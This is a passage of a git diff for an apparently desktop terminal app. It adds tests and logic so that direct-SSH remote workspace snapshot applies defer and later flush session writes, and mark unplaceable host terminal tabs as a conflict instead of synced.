+      activeTabIdByWorktreePath: { [PATH_A]: 'tab-a' },
+      remoteSessionIdsByTabId: { 'tab-a': 'pty-tab-a' },
+      lastVisitedAtByWorktreePath: { [PATH_A]: revision },
+      defaultTerminalTabsAppliedByWorktreePath: { [PATH_A]: true }
+    }
+  } satisfies RemoteWorkspaceSnapshot
+}
+
+function seedCatalog(store: TestStore): void {
+  store.setState({
+    worktreesByRepo: {
+      repoA: [
+        makeWorktree({
+          id: WORKTREE_A,
+          repoId: 'repoA',
+          path: PATH_A,
+          hostId: `ssh:${TARGET_A}`
+        } as never)
+      ]
+    },
+    repos: [
+      {
+        id: 'repoA',
+        path: '/srv/proj',
+        displayName: 'Proj',
+        badgeColor: '#000',
+        addedAt: 0,
+        connectionId: TARGET_A
+      } as never
+    ],
+    reconnectPersistedTerminals: (async () => {}) as never,
+    markRemoteWorkspaceHydrated: (() => {}) as never,
+    setRemoteWorkspaceSyncStatus: (() => {}) as never
+  })
+}
+
+/** A second target's tab the user closes while target A is mid-apply. */
+function closeUnrelatedTargetTab(store: TestStore): void {
+  store.setState({
+    tabsByWorktree: { ...store.getState().tabsByWorktree, [WORKTREE_B]: [] },
+    closedTerminalTabTombstonesByTabId: {
+      'tab-b': { closedAt: Date.now(), worktreeId: WORKTREE_B }
+    }
+  })
+}
+
+/** Everything here is timer-driven, so fake timers make the tail deterministic and instant. */
+describe('session writes deferred by a direct-SSH apply', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+  })
+
+  async function applyTargetA(store: TestStore, onApplied: () => void): Promise<void> {
+    await applyDirectSshRemoteWorkspaceSnapshot({
+      store,
+      snapshot: snapshot(1),
+      token: token(1),
+      arrival: 1,
+      isArrivalCurrent: () => true,
+      isPreparationTokenCurrent: () => true,
+      waitForWorkspaceSessionReady: async () => true,
+      // Runs inside the apply, which is when the write gate is shut.
+      finalizeHydratedTerminals: () => {
+        onApplied()
+        return 0
+      }
+    })
+  }
+
+  function seedBothTargets(store: TestStore): void {
+    seedCatalog(store)
+    store.setState({
+      tabsByWorktree: {
+        [WORKTREE_B]: [
+          {
+            id: 'tab-b',
+            ptyId: 'pty-tab-b',
+            worktreeId: WORKTREE_B,
+            title: 'Other host',
+            customTitle: null,
+            color: null,
+            sortOrder: 0,
+            createdAt: 1
+          } as never
+        ]
+      }
+    })
+  }
+
+  it('lands an unrelated target\u2019s tab close once the suppression tail expires', async () => {
+    const store = createTestStore()
+    seedBothTargets(store)
+
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    const cleanup = createSessionWriteSubscriber({
+      store,
+      persist,
+      shouldSchedulePersist: () => !isDirectSshRemoteWorkspaceApplyInProgress(),
+      subscribeToPersistGateOpen: onDirectSshRemoteWorkspaceApplyWindowClosed
+    })
+    try {
+      store.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
+      vi.advanceTimersByTime(200)
+      expect(persist).toHaveBeenCalled()
+      persist.mockClear()
+
+      await applyTargetA(store, () => closeUnrelatedTargetTab(store))
+
+      expect(
+        isDirectSshRemoteWorkspaceApplyInProgress(),
+        'the suppression tail should still be holding writes here'
+      ).toBe(true)
+      expect(persist).not.toHaveBeenCalled()
+
+      // Tail (1000ms) + the notice's 1ms margin + the writer's 150ms debounce.
+      vi.advanceTimersByTime(1_200)
+
+      expect(persist, 'the close made during the apply never reached disk').toHaveBeenCalledTimes(1)
+      const patch = persist.mock.calls[0][0].patch
+      expect(patch.closedTerminalTabTombstonesByTabId?.['tab-b']?.worktreeId).toBe(WORKTREE_B)
+      expect(patch.tabsByWorktree?.[WORKTREE_B]).toEqual([])
+      expect(patch.tabsByWorktree?.[WORKTREE_A]).toHaveLength(1)
+    } finally {
+      cleanup()
+    }
+  })
+
+  it('still wakes the deferred write when the wall clock steps back during the tail', async () => {
+    const store = createTestStore()
+    seedBothTargets(store)
+    const startedAt = Date.now()
+
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    const cleanup = createSessionWriteSubscriber({
+      store,
+      persist,
+      shouldSchedulePersist: () => !isDirectSshRemoteWorkspaceApplyInProgress(),
+      subscribeToPersistGateOpen: onDirectSshRemoteWorkspaceApplyWindowClosed
+    })
+    try {
+      store.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
+      vi.advanceTimersByTime(200)
+      persist.mockClear()
+
+      await applyTargetA(store, () => closeUnrelatedTargetTab(store))
+
+      // The notice's delay is wall-clock arithmetic on a monotonic timer, so an NTP step back
+      // leaves the deadline in the future when it fires. It must wait, not give up.
+      vi.setSystemTime(startedAt - 5_000)
+      vi.advanceTimersByTime(1_200)
+      expect(persist, 'the notice fired before its own deadline').not.toHaveBeenCalled()
+
+      vi.advanceTimersByTime(5_200)
+
+      expect(persist, 'a clock step back stranded the deferred write').toHaveBeenCalledTimes(1)
+      expect(
+        persist.mock.calls[0][0].patch.closedTerminalTabTombstonesByTabId?.['tab-b']
+      ).toBeDefined()
+    } finally {
+      cleanup()
+    }
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-snapshot-apply.ts b/src/renderer/src/hooks/remote-workspace-snapshot-apply.ts
index 16929fd6379..9227065dfa9 100644
--- a/src/renderer/src/hooks/remote-workspace-snapshot-apply.ts
+++ b/src/renderer/src/hooks/remote-workspace-snapshot-apply.ts
@@ -27,6 +27,45 @@ export function isDirectSshRemoteWorkspaceApplyInProgress(): boolean {
   return snapshotApplyDepth > 0 || Date.now() < snapshotWriteSuppressUntil
 }
 
+const applyWindowCloseListeners = new Set<() => void>()
+
+/**
+ * Fires once after the write-suppression tail expires. Why: the tail ends on a wall clock with no
+ * store update behind it, so a session write deferred during an apply has nothing else to wake it.
+ */
+export function onDirectSshRemoteWorkspaceApplyWindowClosed(listener: () => void): () => void {
+  applyWindowCloseListeners.add(listener)
+  return () => {
+    applyWindowCloseListeners.delete(listener)
+  }
+}
+
+/**
+ * One timer in flight per apply. It never polls: the tail deadline only moves forward, and each
+ * re-arm waits exactly the time still left on it, so the wait converges instead of spinning.
+ */
+function scheduleApplyWindowClosedNotice(): void {
+  // +1ms because the gate compares `Date.now() < suppressUntil`; fire strictly past the deadline.
+  const delayMs = Math.max(0, snapshotWriteSuppressUntil - Date.now()) + 1
+  setTimeout(() => {
+    // An apply still in flight schedules the next notice from its own `finally`.
+    if (snapshotApplyDepth > 0) {
+      return
+    }
+    // Why re-arm rather than return: `delayMs` is wall-clock arithmetic handed to a monotonic
+    // timer, so a clock step back (NTP) can leave the deadline in the future when this fires.
+    // Dropping the notice there would strand every write deferred in this window.
+    if (Date.now() < snapshotWriteSuppressUntil) {
+      scheduleApplyWindowClosedNotice()
+      return
+    }
+    // Safe to iterate live: Set iteration tolerates a listener unsubscribing itself.
+    for (const listener of applyWindowCloseListeners) {
+      listener()
+    }
+  }, delayMs)
+}
+
 type RemoteWorkspaceSnapshotApplyInput = {
   store: Pick<StoreApi<AppState>, 'getState'>
   snapshot: RemoteWorkspaceSnapshot
@@ -109,9 +148,11 @@ export async function applyDirectSshRemoteWorkspaceSnapshot({
   }
   const state = store.getState()
   const worktreeIds = exactTargetWorktreeIds(state, authority)
+  const unplacedTabWorktreePaths: string[] = []
   const remoteSession = importRemoteWorkspaceSession(snapshot.session, {
     resolveWorktreeId: uniqueWorktreeIdByPath(worktreeIds),
-    executionHostId: toSshExecutionHostId(authority.targetId)
+    executionHostId: toSshExecutionHostId(authority.targetId),
+    onUnplacedTerminalTabs: (worktreePath) => unplacedTabWorktreePaths.push(worktreePath)
   })
   const merged = mergeDirectSshRemoteWorkspaceSession(
     buildWorkspaceSessionPayload(state),
@@ -119,11 +160,13 @@ export async function applyDirectSshRemoteWorkspaceSnapshot({
     worktreeIds,
     state.tabsByWorktree,
     currentRecoveryTabIds(state, authority, worktreeIds),
-    toSshExecutionHostId(authority.targetId)
+    toSshExecutionHostId(authority.targetId),
+    snapshot.revision
   )
   if (!isArrivalCurrent(authority.targetId, arrival) || !isPreparationTokenCurrent(token)) {
     return
   }
+  const hasUnplacedTerminalTabs = unplacedTabWorktreePaths.length > 0
   snapshotApplyDepth += 1
   try {
     const currentStore = store.getState()
@@ -134,15 +177,36 @@ export async function applyDirectSshRemoteWorkspaceSnapshot({
     })
     currentStore.hydrateTabsSession(merged, { replaceWorkspaceKeys })
     // Why: direct SSH snapshots project terminal state only; global editor/browser hydration would reset unrelated hosts.
-    currentStore.markRemoteWorkspaceHydrated(authority.targetId)
-    currentStore.setRemoteWorkspaceSyncStatus(authority.targetId, {
-      phase: 'synced',
-      direction: 'pull',
-      revision: snapshot.revision,
-      updatedAt: snapshot.updatedAt,
-      lastSyncedAt: Date.now(),
-      message: translate('auto.hooks.useIpcEvents.4f78ba5885', 'Workspace synced')
-    })
+    if (!hasUnplacedTerminalTabs) {
+      currentStore.markRemoteWorkspaceHydrated(authority.targetId)
+      currentStore.setRemoteWorkspaceSyncStatus(authority.targetId, {
+        phase: 'synced',
+        direction: 'pull',
+        revision: snapshot.revision,
+        updatedAt: snapshot.updatedAt,
+        message: translate('auto.hooks.useIpcEvents.4f78ba5885', 'Workspace synced'),
+        lastSyncedAt: Date.now()
+      })
+    } else {
+      // The host listed tabs on paths this client cannot place, so adopting zero of them is not
+      // the host's picture. `conflict` is the phase that says exactly that, and it is load-bearing
+      // twice over:
+      //   - use-app-session-persistence.ts filters conflicted targets out of uploads, and an
+      //     upload is a `replace-session` patch (remote-workspace-relay-sync.ts) that wholesale
+      //     replaces the host snapshot - it would delete the very tabs we failed to adopt;
+      //   - workspace-terminal-host-authority.ts treats `offline`/`error` on an un-hydrated target
+      //     as `none`, its bounded floor, which authorises seeding AND sleeping-agent resume.
+      //     `conflict` is deliberately not in that set, so authority stays `unverifiable`.
+      // Hydration is cleared, not merely withheld: the set is add-only, so a target that synced
+      // cleanly before would otherwise keep uploading from this incomplete picture (STA-3593).
+      currentStore.clearRemoteWorkspaceHydrated(authority.targetId)
+      currentStore.setRemoteWorkspaceSyncStatus(authority.targetId, {
+        phase: 'conflict',
+        direction: 'pull',
+        revision: snapshot.revision,
+        updatedAt: snapshot.updatedAt
+      })
+    }
     const reconnectAbort = new AbortController()
     let reconnectTimer: ReturnType<typeof setTimeout> | null = null
     await Promise.race([
@@ -170,5 +234,6 @@ export async function applyDirectSshRemoteWorkspaceSnapshot({
   } finally {
     snapshotWriteSuppressUntil = Date.now() + REMOTE_WORKSPACE_SNAPSHOT_WRITE_SUPPRESS_MS
     snapshotApplyDepth -= 1
+    scheduleApplyWindowClosedNotice()
   }
 }
diff --git a/src/renderer/src/hooks/remote-workspace-snapshot-fresh-client-tab-seeding.test.ts b/src/renderer/src/hooks/remote-workspace-snapshot-fresh-client-tab-seeding.test.ts
new file mode 100644
index 00000000000..0400f860d31
--- /dev/null
+++ b/src/renderer/src/hooks/remote-workspace-snapshot-fresh-client-tab-seeding.test.ts
@@ -0,0 +1,179 @@
+/**
+ * A client that has never held a direct-SSH workspace — a re-added host, a cleared profile, a second
+ * machine — activates it before the host snapshot lands and seeds an initial terminal into that gap.
+ * The snapshot then arrives, the merge correctly keeps the locally-created tab it was never told
+ * about, and the union uploads as the new host truth.
+ *
+ * Scope, because it moved twice under investigation: an ordinary RESTART does not reach this, since
+ * local session state restores the workspace's tab row first. The trigger is a client with no local
+ * row for a workspace the host already owns (#15556 / STA-4908).
+ *
+ * Two oracles. Cardinality: the client must not add a tab the host did not name. Adoption: declining
+ * to seed must not cost the user the host's real tabs — an empty workspace is not an improvement on
+ * a wrong one.
+ */
+import { describe, expect, it, vi } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import type { RemoteWorkspaceSnapshot } from '../../../shared/remote-workspace-types'
+import type { DirectSshAuthority, SshProviderEpoch } from '../../../shared/ssh-types'
+import { createTestStore, makeWorktree } from '../store/slices/store-test-helpers'
+import { ensureWorktreeHasInitialTerminal } from '@/lib/worktree-initial-terminal-seeding'
+import { applyDirectSshRemoteWorkspaceSnapshot } from './remote-workspace-snapshot-apply'
+import type { DirectSshSnapshotApplyToken } from './direct-ssh-reconnect-coordinator-types'
+
+vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const actual = await importOriginal<typeof AgentStatusModule>()
+  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
+})
+
+const TARGET_ID = 'ssh-target-1'
+const PATH = '/srv/proj/bug-cats'
+const WORKTREE_ID = `repoA::${PATH}`
+
+const authority: DirectSshAuthority = {
+  targetId: TARGET_ID,
+  providerEpoch: 'provider-epoch-1' as SshProviderEpoch,
+  connectionGeneration: 1
+}
+
+function token(snapshotRevision: number): DirectSshSnapshotApplyToken {
+  return {
+    authority,
+    catalogRevision: 0,
+    repoFingerprint: 'fp',
+    authorityRequirement: 'required',
+    snapshotRevision,
+    outcome: 'complete'
+  }
+}
+
+function snapshot(revision: number, tabIds: readonly string[]): RemoteWorkspaceSnapshot {
+  return {
+    namespace: 'workspace',
+    revision,
+    updatedAt: revision,
+    schemaVersion: 1,
+    session: {
+      activeWorktreePath: PATH,
+      activeTabId: tabIds[0] ?? null,
+      tabsByWorktreePath: {
+        [PATH]: tabIds.map((tabId, index) => ({
+          id: tabId,
+          worktreePath: PATH,
+          ptyId: `pty-${tabId}`,
+          title: `Terminal ${index + 1}`,
+          customTitle: null,
+          color: null,
+          sortOrder: index,
+          createdAt: index + 1
+        }))
+      },
+      terminalLayoutsByTabId: {},
+      activeWorktreePathsOnShutdown: [],
+      activeTabIdByWorktreePath: { [PATH]: tabIds[0] ?? null },
+      remoteSessionIdsByTabId: Object.fromEntries(tabIds.map((id) => [id, `pty-${id}`])),
+      lastVisitedAtByWorktreePath: { [PATH]: revision },
+      defaultTerminalTabsAppliedByWorktreePath: { [PATH]: true }
+    }
+  } satisfies RemoteWorkspaceSnapshot
+}
+
+type TestStore = ReturnType<typeof createTestStore>
+
+async function applySnapshot(store: TestStore, snap: RemoteWorkspaceSnapshot): Promise<void> {
+  await applyDirectSshRemoteWorkspaceSnapshot({
+    store,
+    snapshot: snap,
+    token: token(snap.revision),
+    arrival: 1,
+    isArrivalCurrent: () => true,
+    isPreparationTokenCurrent: () => true,
+    waitForWorkspaceSessionReady: async () => true,
+    finalizeHydratedTerminals: () => 0
+  })
+}
+
+function seedCatalog(store: TestStore): void {
+  store.setState({
+    worktreesByRepo: {
+      repoA: [
+        makeWorktree({
+          id: WORKTREE_ID,
+          repoId: 'repoA',
+          path: PATH,
+          hostId: `ssh:${TARGET_ID}`
+        } as never)
+      ]
+    },
+    repos: [
+      {
+        id: 'repoA',
+        path: '/srv/proj',
+        displayName: 'Proj',
+        badgeColor: '#000',
+        addedAt: 0,
+        connectionId: TARGET_ID
+      } as never
+    ],
+    // Why: only the IPC-backed reconnect is stubbed; hydration bookkeeping stays real because it is
+    // the very signal under test.
+    reconnectPersistedTerminals: (async () => {}) as never,
+    setRemoteWorkspaceSyncStatus: (() => {}) as never
+  })
+}
+
+/** A relaunch: the workspace's tab rows and this session's host answers are both gone. */
+function simulateColdStart(store: TestStore): void {
+  const live = store.getState()
+  const { [WORKTREE_ID]: _tabs, ...tabsByWorktree } = live.tabsByWorktree
+  const { [WORKTREE_ID]: _unified, ...unifiedTabsByWorktree } = live.unifiedTabsByWorktree
+  store.setState({
+    tabsByWorktree,
+    unifiedTabsByWorktree,
+    remoteWorkspaceHydratedTargetIds: new Set<string>()
+  })
+}
+
+function terminalTabIds(store: TestStore): string[] {
+  return (store.getState().tabsByWorktree[WORKTREE_ID] ?? []).map((tab) => tab.id)
+}
+
+describe('a fresh client meeting a workspace the host already owns', () => {
+  it('holds one tab when the host still reports one tab', async () => {
+    const store = createTestStore()
+    seedCatalog(store)
+
+    // Yesterday: the host owns exactly one terminal in this workspace.
+    await applySnapshot(store, snapshot(1, ['T1']))
+    expect(terminalTabIds(store)).toEqual(['T1'])
+
+    // This morning: the app restarts and activates the workspace before SSH has answered.
+    simulateColdStart(store)
+    ensureWorktreeHasInitialTerminal(store.getState(), WORKTREE_ID)
+
+    // The host answers, still holding only T1.
+    await applySnapshot(store, snapshot(2, ['T1']))
+
+    expect(
+      terminalTabIds(store),
+      'the launch seeded a terminal into the gap before the host answered'
+    ).toEqual(['T1'])
+  })
+
+  it('adopts every tab the host owns instead of replacing them with a seeded one', async () => {
+    const store = createTestStore()
+    seedCatalog(store)
+
+    // A client with no local row for this workspace, activating it before the snapshot lands.
+    expect(store.getState().tabsByWorktree[WORKTREE_ID]).toBeUndefined()
+    ensureWorktreeHasInitialTerminal(store.getState(), WORKTREE_ID)
+
+    await applySnapshot(store, snapshot(1, ['T1', 'T2', 'T3']))
+
+    expect(
+      terminalTabIds(store),
+      'declining to seed must not also cost the user the tabs the host really owns'
+    ).toEqual(['T1', 'T2', 'T3'])
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-snapshot-unplaced-tab-adoption.test.ts b/src/renderer/src/hooks/remote-workspace-snapshot-unplaced-tab-adoption.test.ts
new file mode 100644
index 00000000000..f3805ec0600
--- /dev/null
+++ b/src/renderer/src/hooks/remote-workspace-snapshot-unplaced-tab-adoption.test.ts
@@ -0,0 +1,289 @@
+/**
+ * STA-3593: a fresh client adopts 0 of the host's 3 terminal tabs, then calls that answer final.
+ *
+ * The chain, all of it already load-bearing today: preparation's lineage read comes back
+ * `degraded` (the `DIRECT_SSH_HOST_READ_TIMEOUT_MS` deadline fired, or the listing was not
+ * authoritative), so `mergeExactHostLineage` never ran and `worktreesByRepo` /
+ * `detectedWorktreesByRepo` hold nothing for that host. A token is still issued on purpose — the
+ * terminals must still reconnect — so the pull proceeds, `exactTargetWorktreeIds` derives an empty
+ * set from the empty catalog, `uniqueWorktreeIdByPath` answers null for every host path, and the
+ * projection drops every host tab row. The snapshot apply then marks the target hydrated and the
+ * phase `'synced'`, promoting "we could not place these yet" to "the host has nothing".
+ *
+ * The oracle is the promotion, not the drop. Without a local catalog there is nowhere to put the
+ * rows, and that is fine and recoverable — what is not recoverable is declaring the empty result
+ * authoritative, because nothing re-pulls after the lineage lands. An unplaceable row is
+ * `unverifiable`, never `exited` (docs/reference/ssh-execution-boundary.md).
+ *
+ * The catalog-present case is pinned alongside it so the gate cannot be satisfied by never
+ * hydrating anything.
+ */
+import { describe, expect, it, vi } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import type { RemoteWorkspaceSnapshot } from '../../../shared/remote-workspace-types'
+import type { DirectSshAuthority, SshProviderEpoch } from '../../../shared/ssh-types'
+import { createTestStore, makeWorktree } from '../store/slices/store-test-helpers'
+import { applyDirectSshRemoteWorkspaceSnapshot } from './remote-workspace-snapshot-apply'
+import { resolveWorkspaceTerminalHostAuthority } from '../lib/workspace-terminal-host-authority'
+import type { DirectSshSnapshotApplyToken } from './direct-ssh-reconnect-coordinator-types'
+
+vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const actual = await importOriginal<typeof AgentStatusModule>()
+  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
+})
+
+const TARGET_ID = 'ssh-target-1'
+const REPO_ROOT = '/srv/proj'
+const ALPHA = `${REPO_ROOT}/alpha`
+const BETA = `${REPO_ROOT}/beta`
+const ALPHA_ID = `repoA::${ALPHA}`
+const BETA_ID = `repoA::${BETA}`
+
+const authority: DirectSshAuthority = {
+  targetId: TARGET_ID,
+  providerEpoch: 'provider-epoch-1' as SshProviderEpoch,
+  connectionGeneration: 1
+}
+
+/** `degraded` is what preparation stamps when the lineage read missed its deadline. */
+function token(snapshotRevision: number): DirectSshSnapshotApplyToken {
+  return {
+    authority,
+    catalogRevision: 0,
+    repoFingerprint: 'fp',
+    authorityRequirement: 'required',
+    snapshotRevision,
+    outcome: 'degraded'
+  }
+}
+
+function tabRow(worktreePath: string, tabId: string, sortOrder: number) {
+  return {
+    id: tabId,
+    worktreePath,
+    ptyId: `pty-${tabId}`,
+    title: tabId,
+    customTitle: null,
+    color: null,
+    sortOrder,
+    createdAt: sortOrder + 1
+  }
+}
+
+/** Three host terminals spread over two host workspaces. */
+function snapshot(revision: number): RemoteWorkspaceSnapshot {
+  const tabsByWorktreePath = {
+    [ALPHA]: [tabRow(ALPHA, 'T1', 0), tabRow(ALPHA, 'T2', 1)],
+    [BETA]: [tabRow(BETA, 'T3', 0)]
+  }
+  return {
+    namespace: 'workspace',
+    revision,
+    updatedAt: revision,
+    schemaVersion: 1,
+    session: {
+      activeWorktreePath: ALPHA,
+      activeTabId: 'T1',
+      tabsByWorktreePath,
+      terminalLayoutsByTabId: {},
+      activeWorktreePathsOnShutdown: [],
+      activeTabIdByWorktreePath: { [ALPHA]: 'T1', [BETA]: 'T3' },
+      remoteSessionIdsByTabId: { T1: 'pty-T1', T2: 'pty-T2', T3: 'pty-T3' },
+      lastVisitedAtByWorktreePath: { [ALPHA]: revision, [BETA]: revision },
+      defaultTerminalTabsAppliedByWorktreePath: { [ALPHA]: true, [BETA]: true }
+    }
+  } satisfies RemoteWorkspaceSnapshot
+}
+
+/** Same shape as the snapshot above, minus the terminal rows. */
+function emptySnapshot(revision: number): RemoteWorkspaceSnapshot {
+  const base = snapshot(revision)
+  return {
+    ...base,
+    session: {
+      ...base.session,
+      activeTabId: null,
+      tabsByWorktreePath: { [ALPHA]: [], [BETA]: [] },
+      activeTabIdByWorktreePath: { [ALPHA]: null, [BETA]: null },
+      remoteSessionIdsByTabId: {}
+    }
+  }
+}
+
+type TestStore = ReturnType<typeof createTestStore>
+
+function createStore(): TestStore {
+  const store = createTestStore()
+  store.setState({
+    repos: [
+      {
+        id: 'repoA',
+        path: REPO_ROOT,
+        displayName: 'Proj',
+        badgeColor: '#000',
+        addedAt: 0,
+        connectionId: TARGET_ID
+      } as never
+    ],
+    // Only the IPC-backed reconnect is stubbed. Hydration bookkeeping and sync status stay real —
+    // they are the signals under test.
+    reconnectPersistedTerminals: (async () => {}) as never
+  })
+  return store
+}
+
+/** What `mergeExactHostLineage` would have written had the lineage read landed. */
+function landHostLineage(store: TestStore): void {
+  store.setState({
+    worktreesByRepo: {
+      repoA: [
+        makeWorktree({
+          id: ALPHA_ID,
+          repoId: 'repoA',
+          path: ALPHA,
+          hostId: `ssh:${TARGET_ID}`
+        } as never),
+        makeWorktree({
+          id: BETA_ID,
+          repoId: 'repoA',
+          path: BETA,
+          hostId: `ssh:${TARGET_ID}`
+        } as never)
+      ]
+    }
+  })
+}
+
+async function applySnapshot(store: TestStore, snap: RemoteWorkspaceSnapshot): Promise<void> {
+  await applyDirectSshRemoteWorkspaceSnapshot({
+    store,
+    snapshot: snap,
+    token: token(snap.revision),
+    arrival: 1,
+    isArrivalCurrent: () => true,
+    isPreparationTokenCurrent: () => true,
+    waitForWorkspaceSessionReady: async () => true,
+    finalizeHydratedTerminals: () => 0
+  })
+}
+
+function adoptedTabIds(store: TestStore): string[] {
+  return Object.values(store.getState().tabsByWorktree)
+    .flat()
+    .map((tab) => tab.id)
+    .sort()
+}
+
+function isHydrated(store: TestStore): boolean {
+  return store.getState().remoteWorkspaceHydratedTargetIds.has(TARGET_ID)
+}
+
+function syncPhase(store: TestStore): string | undefined {
+  return store.getState().remoteWorkspaceSyncStatusByTargetId[TARGET_ID]?.phase
+}
+
+describe('a host snapshot whose terminal tabs cannot be placed locally', () => {
+  it('does not call the empty result authoritative when the local catalog never landed', async () => {
+    const store = createStore()
+    // Degraded lineage: the catalog holds no worktree row for this host.
+    expect(store.getState().worktreesByRepo).toEqual({})
+
+    const snap = snapshot(1)
+    expect(Object.values(snap.session.tabsByWorktreePath).flat()).toHaveLength(3)
+
+    await applySnapshot(store, snap)
+
+    // Nowhere to put them — recoverable on its own.
+    expect(adoptedTabIds(store), 'no local worktree row exists to hang the host tabs on').toEqual(
+      []
+    )
+    // Not recoverable: promoting that to truth. Nothing re-pulls once the lineage lands.
+    expect(
+      isHydrated(store),
+      'the host named 3 terminals and this client placed none of them, so the target is not hydrated'
+    ).toBe(false)
+    expect(
+      syncPhase(store),
+      'a pull that dropped every host tab row has not synced the workspace'
+    ).not.toBe('synced')
+  })
+
+  it('revokes a hydration it granted earlier when a later snapshot cannot be placed', async () => {
+    const store = createStore()
+    landHostLineage(store)
+    await applySnapshot(store, snapshot(1))
+    expect(isHydrated(store)).toBe(true)
+
+    // The lineage degrades on a later reconnect: the catalog rows this client had are gone.
+    store.setState({ worktreesByRepo: {}, detectedWorktreesByRepo: {} })
+    await applySnapshot(store, snapshot(2))
+
+    // Why revoke rather than merely withhold: the hydrated set is add-only, and hydration is what
+    // authorises uploads. A stale flag would keep uploading this incomplete picture, and an upload
+    // wholesale replaces the host snapshot — deleting the tabs we just failed to place.
+    expect(
+      isHydrated(store),
+      'a stale hydration still authorises a replace-session upload from an incomplete picture'
+    ).toBe(false)
+  })
+
+  it('leaves terminal authority unverifiable, so nothing seeds or resumes over the host', async () => {
+    const store = createStore()
+    await applySnapshot(store, snapshot(1))
+
+    // `offline`/`error` on an un-hydrated target are the authority resolver's bounded floor and
+    // resolve to `none`, which authorises seeding AND sleeping-agent resume. An unplaced snapshot
+    // must not land in that set: the host's tabs are live, we simply could not place them.
+    expect(
+      resolveWorkspaceTerminalHostAuthority(store.getState(), ALPHA_ID),
+      'an unplaced snapshot authorised seeding over live host terminals'
+    ).toBe('unverifiable')
+  })
+
+  it('adopts every host tab and declares the target hydrated once the catalog is present', async () => {
+    const store = createStore()
+    landHostLineage(store)
+
+    await applySnapshot(store, snapshot(1))
+
+    expect(adoptedTabIds(store)).toEqual(['T1', 'T2', 'T3'])
+    expect(store.getState().tabsByWorktree[ALPHA_ID]?.map((tab) => tab.id)).toEqual(['T1', 'T2'])
+    expect(store.getState().tabsByWorktree[BETA_ID]?.map((tab) => tab.id)).toEqual(['T3'])
+    expect(isHydrated(store)).toBe(true)
+    expect(syncPhase(store)).toBe('synced')
+  })
+
+  it('recovers on the next snapshot once the catalog lands', async () => {
+    const store = createStore()
+
+    // First pass: the lineage read was degraded, so nothing places and the target is left
+    // un-hydrated on purpose. With the retry chain gone, this is the only way back.
+    await applySnapshot(store, snapshot(1))
+    expect(adoptedTabIds(store)).toEqual([])
+    expect(isHydrated(store)).toBe(false)
+
+    // A later connect or host push arrives after the catalog landed.
+    landHostLineage(store)
+    await applySnapshot(store, snapshot(2))
+
+    expect(
+      adoptedTabIds(store),
+      'an un-hydrated target never recovered the host tabs it declined to guess at'
+    ).toEqual(['T1', 'T2', 'T3'])
+    expect(isHydrated(store)).toBe(true)
+    expect(syncPhase(store)).toBe('synced')
+  })
+
+  it('still hydrates when the host genuinely reported no terminals', async () => {
+    const store = createStore()
+    expect(store.getState().worktreesByRepo).toEqual({})
+
+    // No rows were dropped here, so an empty local result is a faithful picture of the host.
+    await applySnapshot(store, emptySnapshot(1))
+
+    expect(adoptedTabIds(store)).toEqual([])
+    expect(isHydrated(store)).toBe(true)
+    expect(syncPhase(store)).toBe('synced')
+  })
+})
diff --git a/src/renderer/src/hooks/remote-workspace-target-sync.test.ts b/src/renderer/src/hooks/remote-workspace-target-sync.test.ts
index 985f54e535a..2949c6cca2c 100644
--- a/src/renderer/src/hooks/remote-workspace-target-sync.test.ts
+++ b/src/renderer/src/hooks/remote-workspace-target-sync.test.ts
@@ -120,6 +120,7 @@ function appState(overrides: Record<string, unknown> = {}): AppState {
     hydrateEditorSession: vi.fn(),
     hydrateBrowserSession: vi.fn(),
     markRemoteWorkspaceHydrated: vi.fn(),
+    clearRemoteWorkspaceHydrated: vi.fn(),
     setRemoteWorkspaceSyncStatus: vi.fn(),
     reconnectPersistedTerminals: vi.fn(async () => {}),
     ...overrides
diff --git a/src/renderer/src/hooks/remote-workspace-target-sync.ts b/src/renderer/src/hooks/remote-workspace-target-sync.ts
index b60c26b2ddc..260c3e50b8c 100644
--- a/src/renderer/src/hooks/remote-workspace-target-sync.ts
+++ b/src/renderer/src/hooks/remote-workspace-target-sync.ts
@@ -230,18 +230,19 @@ export function createRemoteWorkspaceTargetSync(
       return
     }
     const applyToken = buildDirectSshSnapshotApplyToken(prepared.token, snapshot.revision)
-    if (applyToken) {
-      await applyDirectSshRemoteWorkspaceSnapshot({
-        store: deps.store,
-        snapshot,
-        token: applyToken,
-        arrival,
-        isArrivalCurrent,
-        isPreparationTokenCurrent: deps.isPreparationTokenCurrent,
-        waitForWorkspaceSessionReady,
-        finalizeHydratedTerminals: deps.finalizeHydratedTerminals
-      })
+    if (!applyToken) {
+      return
     }
+    await applyDirectSshRemoteWorkspaceSnapshot({
+      store: deps.store,
+      snapshot,
+      token: applyToken,
+      arrival,
+      isArrivalCurrent,
+      isPreparationTokenCurrent: deps.isPreparationTokenCurrent,
+      waitForWorkspaceSessionReady,
+      finalizeHydratedTerminals: deps.finalizeHydratedTerminals
+    })
   }
 
   return {
diff --git a/src/renderer/src/hooks/useAutoAckViewedAgent.clock-skew.test.ts b/src/renderer/src/hooks/useAutoAckViewedAgent.clock-skew.test.ts
new file mode 100644
index 00000000000..d81c0c49ffa
--- /dev/null
+++ b/src/renderer/src/hooks/useAutoAckViewedAgent.clock-skew.test.ts
@@ -0,0 +1,112 @@
+// @vitest-environment happy-dom
+
+import { cleanup, renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { useAutoAckViewedAgent } from './useAutoAckViewedAgent'
+import { useAppStore } from '../store'
+import { makeTab } from '../store/slices/store-test-helpers'
+import { makePaneKey } from '../../../shared/stable-pane-id'
+import type { AgentStatusEntry } from '../../../shared/agent-status-types'
